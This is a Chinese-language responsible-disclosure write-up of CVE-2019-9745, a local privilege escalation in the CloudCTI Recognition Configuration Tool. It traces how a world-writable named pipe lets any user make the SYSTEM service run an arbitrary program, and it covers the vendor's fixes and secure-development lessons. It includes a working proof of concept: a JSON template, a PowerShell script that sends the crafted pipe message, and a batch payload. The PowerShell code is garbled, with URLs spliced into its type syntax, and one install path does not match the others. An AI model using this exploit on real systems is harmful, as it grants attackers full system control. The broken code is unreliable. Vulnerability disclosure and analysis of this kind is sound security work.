创造力是渗透测试的核心,这也让我们的工作充满趣味。然而,一个常见的陷阱是倾向于“过度设计”攻击场景,并只专注于 bug(错误条件)。而 flaws(非预期行为)同样可能存在,并带来同等严重的破坏性后果。本文通过一个案例研究来证明针对此类 flaws 进行渗透测试的重要性,同时也为采用 SDLC(安全开发生命周期)流程提供了有力论据。
本文是漏洞 CVE-2019-9745 的 负责任披露(RD)工作的一部分,并与厂商 CloudCTI 密切合作撰写。文章首先对漏洞进行高层概览,再深入技术细节。在演示漏洞利用之后,给出结论并总结了经验教训。
我们在一次渗透测试中检查了 CloudCTI Recognition Configuration Tool,该工具用于从 CRM(客户关系管理)软件中检索信息。这为呼叫中心人员在与客户通话期间提供了相关信息。我们发现了一些可串联利用以完全攻陷本地系统的问题。厂商希望强调,这些问题不会影响其他客户的系统,也不会影响他们自己的系统。
与许多安全漏洞一样,一个重要问题在于验证来自你影响范围之外的数据。同样重要的是要认识到,系统和软件运行在敌对环境中。时间和经验告诉我们,窃听是互联网上的一种威胁。然而,其他通信渠道也同样如此,甚至系统内部的通信也不例外。这一点在发现该漏洞的过程中起到了关键作用。
对所遇问题的根本原因分析表明,诸如 TM(威胁建模)等实践非常重要。TM 有助于在设计和开发的早期阶段识别风险,从而可以缓解不可接受的风险,或进行重新设计/重新实现。尽管鼓励读者自行进行分析,但我们也提供了厂商的应对措施描述以供参考。
该厂商软件由四个协同工作的应用程序组成。第一个应用程序是图形用户界面(GUI),用户可通过它从多种 CRM 软件包发起信息检索:
GUI 通过发送消息将信息检索委托给一个服务(第二个应用程序)。第一个安全问题便在此显现:系统中的任何人都可以观察 GUI 与服务之间的消息,以确定其格式和内容(影响机密性),也可以发送自己的消息(影响授权)。此外,发送给服务的消息来源未经验证(影响不可否认性)。按照 STRIDE 威胁建模术语,这意味着该系统容易遭受信息泄露和篡改。事实上,从这些消息中获取的信息在发现该漏洞的过程中起到了关键作用。
第三个应用程序是众多专用导入器之一。服务将特定 CRM 包的信息检索任务下放给对应的导入器。GUI 发送的消息中包含针对该导入器的具体指令。查看 Exquise CRM 导入器后发现,信息检索会被进一步委托给一个外部(第四个)应用程序。在检查该导入器的内部逻辑时,我们发现这个外部应用程序可以在 GUI 与服务之间发送的消息中指定。这里暴露出的问题是:外部应用程序被执行时,其身份并未被验证(影响不可否认性)。
将这些串联起来,我们可以窃听消息以确定其格式,然后发送一条指定我们自己恶意外部应用程序的消息。该外部应用程序将以与导入器/服务相同的权限执行。由于这些权限是系统内最高的,我们便实现了完全控制并攻陷了系统。
厂商已通过以下方式缓解这些问题:对消息进行加密(缓解机密性问题),使用只有经过身份验证且拥有这些共享密钥的系统用户才能访问的独特共享密钥(缓解授权问题),从而也缓解了第一个不可否认性问题。最后,外部应用程序经过加密签名(缓解第二个不可否认性问题)。综合这些措施可成功缓解该漏洞。
当 CloudCTI Recognition Configuration Tool GUI 应用程序(C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\CloudCTI Recognition Configuration Tool.exe)安装完成后,使用 Process Explorer 对其进行检查。这揭示了一个伴随服务(Recognition Update Client Service)已安装并以 NT AUTHORITY\SYSTEM 权限执行:
在检查服务可执行文件(C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RecognitionUpdateClientServiceService.exe)后,可以发现它是使用 .NET 编程语言开发的。可以使用 dnSpy 对其进行反编译,从而深入了解其内部逻辑,下文将对此详述。
RUCS2017Service(服务可执行文件中的内部 .NET 命名空间)实际上是 RUCS2017 命名空间(C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RUCS2017.dll)的一个薄包装。它在 RUCS2017.dll:RUCS2017.TRUCS2017:902 处定义了一个名为 RUCS20151029 的命名管道服务器:
该命名管道服务器在 RUCS2017.dll:RUCS2017.TRUCS2017:833 处启动:
以下 Powershell 单行命令用于确认该管道确实在系统上处于活动状态:``` PS C:\Users\hacker> [System.IO.Directory]::GetFiles("\.\pipe\") |Select-String -Pattern "RUCS20151029"
\.\pipe\RUCS20151029
使用 [AccessChk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk) 检查管道的访问权限。由此发现,任何系统用户(*Everyone*)都可以对该管道进行读取(*R*)和写入(*W*):```
PS C:\Users\hacker> .\accesschk.exe \pipe\RUCS20151029
Accesschk v6.12 - Reports effective permissions for securable objects
Copyright (C) 2006-2017 Mark Russinovich
Sysinternals - www.sysinternals.com
\\.\Pipe\RUCS20151029
RW Everyone
RW BUILTIN\Administrators
当使用 GUI 中的 Add application 功能时(参见 图 01),通过 IO Ninja 可在命名管道上观察到以下未加密流量:
其中包含以下 JSON 数据:```JSON { "Command":"WizardGetData", "Params": { "ReturnSize":50, "DatasourceType":"exquise exporter", "DatasourceSettings": { "ExquiseFolder":"C:\Users\hacker\Desktop"} } ,"Id":"76037453" }
管道上的消息处理基于[事件](https://docs.microsoft.com/en-us/dotnet/standard/events/),并在服务的构造函数中订阅,位于 *RUCS2017.dll:RUCS2017.TRUCS2017:803*:

**<div style="text-align: right">图 06</div>**
在此函数中,JSON 首先在 *RUCS2017.dll:RUCS2017.TRUCS2017:267* 处被反序列化:

**<div style="text-align: right">图 07</div>**
处理 *WizardGetData* JSON 消息结构的具体逻辑位于 *RUCS2017.dll:RUCS2017.TRUCS2017:315* 的 *TFerbCommandType.WizardGetData* 枚举分支下:

**<div style="text-align: right">图 08</div>**
随后,任务管理器在 *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:614* 处启动一个新线程,传递解析后的消息结构:

**<div style="text-align: right">图 09</div>**
*DatasourceType*(针对特定的 CRM 包)在 *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:177* 处被动态加载:

**<div style="text-align: right">图 10</div>**
该处加载了 *json.conf:17* 中定义的 *.dll* 文件:

**<div style="text-align: right">图 11</div>**
随后,消息的进一步处理被委托给位于 *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:197* 处的 *C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceExquiseExporter.dll* 插件(*图 10*)。
*CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource* 派生自 *CloudCTI.Datasources.TextFile.RUS2015.TextFileDatasource*(*C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceTextFile.dll*)。而后者又派生自 *CloudCTI.Datasources.RUS2015.DatasourceBase*(*C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\CloudCTIReplicationDatasourcesClass.dll*)。我们在 *CloudCTI.Datasources.RUS2015.DatasourceBase:133* 处找到了 *GetData* 方法的实现,该方法在 *CloudCTI.Datasources.RUS2015.DatasourceBase:142* 处调用了 *initializeDatasource*:

**<div style="text-align: right">图 12</div>**
该方法又会在 *CloudCTI.Datasources.RUS2015.DatasourceBase:598* 处调用 *DatasourceInitialize*:

**<div style="text-align: right">图 13</div>**
首先,JSON 消息在 *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:24* 处被解析:

**<div style="text-align: right">图 14</div>**
该消息的结构定义在 *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings* 类中。这个类还包含一个我们非常感兴趣的 *ExporterApplication* 属性:

**<div style="text-align: right">图 15</div>**
在 *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:29*(参见 *图 14*)处,会检查消息中是否设置了 *ExporterApplication*。如果不是这种情况,则使用默认应用程序;否则,使用消息中的外部应用程序。 <span style='color:red'>**这正是漏洞所在之处**</span>。在 *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:41*(参见 *图 14*)处,调用了 *createExportFile* 方法,该方法会启动先前确定的外部应用程序(第 *73* 行):

**<div style="text-align: right">图 16</div>**
# 漏洞利用 #
由于服务进程(*C:\Program Files (x86)\HIP Integrator\RUCS\RecognitionUpdateClientServiceService.exe*)以 *NT AUTHORITY\SYSTEM* 权限运行,它可以访问系统的**所有**方面,而我们现在也通过 *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings.ExporterApplication* 属性获得了同样的访问权限。当这一点被构造进消息时,会得到以下 JSON 模板:```JSON
{
"Command":"WizardGetData",
"Params":
{
"ReturnSize":RETURN_SIZE,
"DatasourceType":"exquise exporter",
"DatasourceSettings":
{
"ExquiseFolder":"FOLDER_NAME",
"ExporterApplication":"APPLICATION_NAME"
}
},
"Id":"RANDOM_VALUE"
}
经过反复试验(trial & error)发现,ExporterApplication 可以是一个 批处理 脚本,无需下载额外资源,并且可以放置在低权限用户可控制的(用户)目录中。由于所有用户都可以写入 RUCS20151029 命名管道,因此使用以下 PowerShell 脚本向该命名管道发送精心构造的 JSON:
CVE-2019-9745.ps1:```powershell
add-Type -assembly "System.Core"
New-Item -ItemType directory -Path data -Force > $null
Remove-Item -Path C:\Windows\Temp\exquiseexport.csv -Force -ErrorAction Ignore $pipeName = '\RUCS20151029'
$pipe = new-object System.IO.Pipes.NamedPipeClientStream( ".", $pipeName, [System.IO.Pipes.PipeDirection]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/HEAD/:InOut, [System.IO.Pipes.PipeOptions]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/HEAD/:Asynchronous, [System.Security.Principal.TokenImpersonationLevel]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/HEAD/:Anonymous ); $pipe.Connect(1000); $pipe.ReadMode = [System.IO.Pipes.PipeTransmissionMode]::Message; $pipeWriter = new-object System.IO.StreamWriter($pipe);
$payload = '{"Command":"WizardGetData","Params":{"ReturnSize":50,"DatasourceType":"exquise exporter","DatasourceSettings":{"ExquiseFolder":"C:\Users\hacker\exploit","ExporterApplication":"C:\Users\hacker\exploit\CVE-2019-9745.bat"}},"Id":"' + $(Get-Random) + '"}'
$payload = [System.Text.Encoding]::Unicode.GetBytes($payload)
$pipeWriter.Write($payload, 0, $payload.length); $pipeWriter.flush()
以下批处理脚本在 JSON 消息中被指定为外部应用程序(*ExporterApplication*)。作为概念验证,执行该脚本的用户名会被写入一个文件。当然,这可以替换为任何命令(序列)。
**CVE-2019-9745.bat**:```batch
@ECHO OFF
whoami > C:\Users\hacker\exploit\CVE-2019-9745.log
当消息由普通(低权限)用户发送时(使用 CVE-2019-9745.ps1),我们确实可以看到 CVE-2019-9745.bat 以提升的权限(NT Authority\SYSTEM)执行:
从渗透测试的角度来看,测试系统(业务)逻辑中的缺陷可能是一项重大的时间投入。由于大多数渗透测试是黑盒测试(相对于白盒测试),这通常涉及逆向工程。然而,正如本文所展示的,缺陷与错误一样具有破坏性。因此,强烈建议采取双管齐下的方法,同时测试错误和缺陷。
从供应商的角度来看,不仅要问“我们的产品可能被如何使用”这个问题,还要问“它可能被如何滥用”这个问题。SDLC(安全开发生命周期)可以在产品生命周期的各个阶段帮助进行风险管理:安全需求、架构和威胁模型有助于高层和低层设计阶段。静态/动态代码分析和同行评审有助于开发过程。最后,渗透测试提供(独立的)审计。当然,这些过程的结果需要与风险偏好进行权衡。从财务角度来看,多项研究(SDLC 中的安全商业案例)得出结论:在产品生命周期的早期阶段解决(安全)缺陷比事后补救更具成本效益。这意味着从长远来看,投资于 SDLC 可以降低 TCO(总拥有成本)。
弥合这两种视角,重要的是通过培训和教育在各个层面持续投资于安全意识。这确保所有相关方都能及时了解 IT 领域中快速演变的机遇和安全风险。如此,我们都能为更安全的社会做出贡献。
我们为此漏洞评定的 CVSS 分值为 8.8(CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C)。